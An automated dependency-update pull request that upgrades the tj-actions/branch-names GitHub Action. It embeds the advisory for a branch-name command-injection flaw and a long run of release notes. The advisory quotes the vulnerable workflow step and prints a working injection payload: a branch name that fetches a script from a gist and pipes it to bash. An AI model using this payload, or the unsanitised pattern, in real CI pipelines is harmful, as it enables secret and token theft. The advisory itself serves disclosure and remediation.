chore(deps): update tj-actions/branch-names action to v8 [security] - autoclosed

This PR contains the following updates:

Package	Type	Update	Change
tj-actions/branch-names	action	major	`v6` -> `v8`

GitHub Vulnerability Alerts

CVE-2023-49291

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

https://securitylab.github.com/research/github-actions-untrusted-input

Release Notes

tj-actions/branch-names (tj-actions/branch-names)

### [`v8`](https://togithub.com/tj-actions/branch-names/releases/tag/v8) [Compare Source](https://togithub.com/tj-actions/branch-names/compare/v7...v8) ### Changes in v8.0.1 #### What's Changed - Upgraded to v8 by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/275](https://togithub.com/tj-actions/branch-names/pull/275) - chore(deps): update github/codeql-action action to v3 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/276](https://togithub.com/tj-actions/branch-names/pull/276) - chore(deps): update tj-actions/verify-changed-files action to v17 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/277](https://togithub.com/tj-actions/branch-names/pull/277) - Updated README.md by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/278](https://togithub.com/tj-actions/branch-names/pull/278) - Bump peter-evans/create-pull-request from 5 to 6 by [@dependabot](https://togithub.com/dependabot) in [https://github.com/tj-actions/branch-names/pull/279](https://togithub.com/tj-actions/branch-names/pull/279) - chore(deps): update tj-actions/verify-changed-files action to v18 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/281](https://togithub.com/tj-actions/branch-names/pull/281) - chore: update test.yml by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/282](https://togithub.com/tj-actions/branch-names/pull/282) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v8...v8.0.1 *** ### Changes in v8.0.0 Major version to prevent errors with dependabot upgrades. #### What's Changed - Upgraded to v7.0.7 by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/273](https://togithub.com/tj-actions/branch-names/pull/273) - chore: Create SECURITY.md by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/274](https://togithub.com/tj-actions/branch-names/pull/274) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7...v8.0.0 *** ### [`v7`](https://togithub.com/tj-actions/branch-names/releases/tag/v7) [Compare Source](https://togithub.com/tj-actions/branch-names/compare/v6...v7) ##### Changes in v7.0.7 ##### What's Changed - Upgraded to v7.0.6 by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/264](https://togithub.com/tj-actions/branch-names/pull/264) - Updated README.md by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/265](https://togithub.com/tj-actions/branch-names/pull/265) - Updated README.md by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/266](https://togithub.com/tj-actions/branch-names/pull/266) - chore: remove deprecated set-ouput calls by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/268](https://togithub.com/tj-actions/branch-names/pull/268) - Updated README.md by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/269](https://togithub.com/tj-actions/branch-names/pull/269) - Updated README.md by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/270](https://togithub.com/tj-actions/branch-names/pull/270) - security: prevent arbitrary code injection via untrusted inputs by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/271](https://togithub.com/tj-actions/branch-names/pull/271) - security: remove vulnerable events from test by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/272](https://togithub.com/tj-actions/branch-names/pull/272) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7...v7.0.7 *** ##### Changes in v7.0.6 ##### What's Changed - Upgraded to v7.0.5 by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/257](https://togithub.com/tj-actions/branch-names/pull/257) - chore(deps): update actions/checkout action to v4 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/259](https://togithub.com/tj-actions/branch-names/pull/259) - chore(deps): update actions/checkout digest to [`8ade135`](https://togithub.com/tj-actions/branch-names/commit/8ade135) by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/260](https://togithub.com/tj-actions/branch-names/pull/260) - chore(deps): update actions/checkout action to v4.1.0 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/261](https://togithub.com/tj-actions/branch-names/pull/261) - chore(deps): update actions/checkout action to v4.1.1 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/262](https://togithub.com/tj-actions/branch-names/pull/262) - Bump actions/checkout from 4.1.0 to 4.1.1 by [@dependabot](https://togithub.com/dependabot) in [https://github.com/tj-actions/branch-names/pull/263](https://togithub.com/tj-actions/branch-names/pull/263) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7...v7.0.6 *** ##### Changes in v7.0.5 ##### What's Changed - Upgraded to v7.0.4 by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/255](https://togithub.com/tj-actions/branch-names/pull/255) - feat: update test to include release events by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/256](https://togithub.com/tj-actions/branch-names/pull/256) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7...v7.0.5 *** ##### Changes in v7.0.4 ##### What's Changed - Updated README.md by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/250](https://togithub.com/tj-actions/branch-names/pull/250) - Upgraded to v7.0.3 by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/251](https://togithub.com/tj-actions/branch-names/pull/251) - chore(deps): update actions/checkout action to v3.6.0 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/252](https://togithub.com/tj-actions/branch-names/pull/252) - chore(deps): update tj-actions/release-tagger action to v4 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/253](https://togithub.com/tj-actions/branch-names/pull/253) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7...v7.0.4 *** ##### Changes in v7.0.3 ##### What's Changed - Upgraded to v7.0.2 by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/244](https://togithub.com/tj-actions/branch-names/pull/244) - Fixing typo by [@IanWoodard](https://togithub.com/IanWoodard) in [https://github.com/tj-actions/branch-names/pull/246](https://togithub.com/tj-actions/branch-names/pull/246) - docs: add IanWoodard as a contributor for doc by [@allcontributors](https://togithub.com/allcontributors) in [https://github.com/tj-actions/branch-names/pull/247](https://togithub.com/tj-actions/branch-names/pull/247) - Updated README.md by [@tj-actions-bot](https://togithub.com/tj-actions-bot) in [https://github.com/tj-actions/branch-names/pull/248](https://togithub.com/tj-actions/branch-names/pull/248) - chore(deps): update tj-actions/auto-doc action to v3 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/249](https://togithub.com/tj-actions/branch-names/pull/249) ##### New Contributors - [@tj-actions-bot](https://togithub.com/tj-actions-bot) made their first contribution in [https://github.com/tj-actions/branch-names/pull/244](https://togithub.com/tj-actions/branch-names/pull/244) - [@IanWoodard](https://togithub.com/IanWoodard) made their first contribution in [https://github.com/tj-actions/branch-names/pull/246](https://togithub.com/tj-actions/branch-names/pull/246) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7...v7.0.3 *** ##### Changes in v7.0.2 ##### What's Changed - Upgraded to v7.0.1 by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/238](https://togithub.com/tj-actions/branch-names/pull/238) - chore(deps): update actions/checkout action to v3.5.3 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/240](https://togithub.com/tj-actions/branch-names/pull/240) - chore(deps): update tj-actions/verify-changed-files action to v15 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/241](https://togithub.com/tj-actions/branch-names/pull/241) - chore(deps): update peter-evans/create-pull-request action to v5.0.2 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/242](https://togithub.com/tj-actions/branch-names/pull/242) - chore(deps): update tj-actions/verify-changed-files action to v16 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/243](https://togithub.com/tj-actions/branch-names/pull/243) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7.0.1...v7.0.2 *** ##### Changes in v7.0.1 ##### What's Changed - Updated README.md by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/236](https://togithub.com/tj-actions/branch-names/pull/236) - Upgraded to v7 by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/237](https://togithub.com/tj-actions/branch-names/pull/237) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v7...v7.0.1 *** ##### Changes in v7.0.0 ##### What's Changed - Upgraded to v6.5 by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/226](https://togithub.com/tj-actions/branch-names/pull/226) - Upgraded to v6.5 by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/227](https://togithub.com/tj-actions/branch-names/pull/227) - chore(deps): update peter-evans/create-pull-request action to v5 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/228](https://togithub.com/tj-actions/branch-names/pull/228) - chore(deps): update actions/checkout action to v3.5.1 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/229](https://togithub.com/tj-actions/branch-names/pull/229) - chore(deps): update actions/checkout action to v3.5.2 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/230](https://togithub.com/tj-actions/branch-names/pull/230) - Updated README.md by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/232](https://togithub.com/tj-actions/branch-names/pull/232) - chore(deps): update peter-evans/create-pull-request action to v5.0.1 by [@renovate](https://togithub.com/renovate) in [https://github.com/tj-actions/branch-names/pull/233](https://togithub.com/tj-actions/branch-names/pull/233) - fix: bug retrieving the current branch name on pull request review event by [@jackton1](https://togithub.com/jackton1) in [https://github.com/tj-actions/branch-names/pull/235](https://togithub.com/tj-actions/branch-names/pull/235) **Full Changelog**: https://github.com/tj-actions/branch-names/compare/v6...v7.0.0 ***

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

[ ] If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

mrtousif / youtube-clone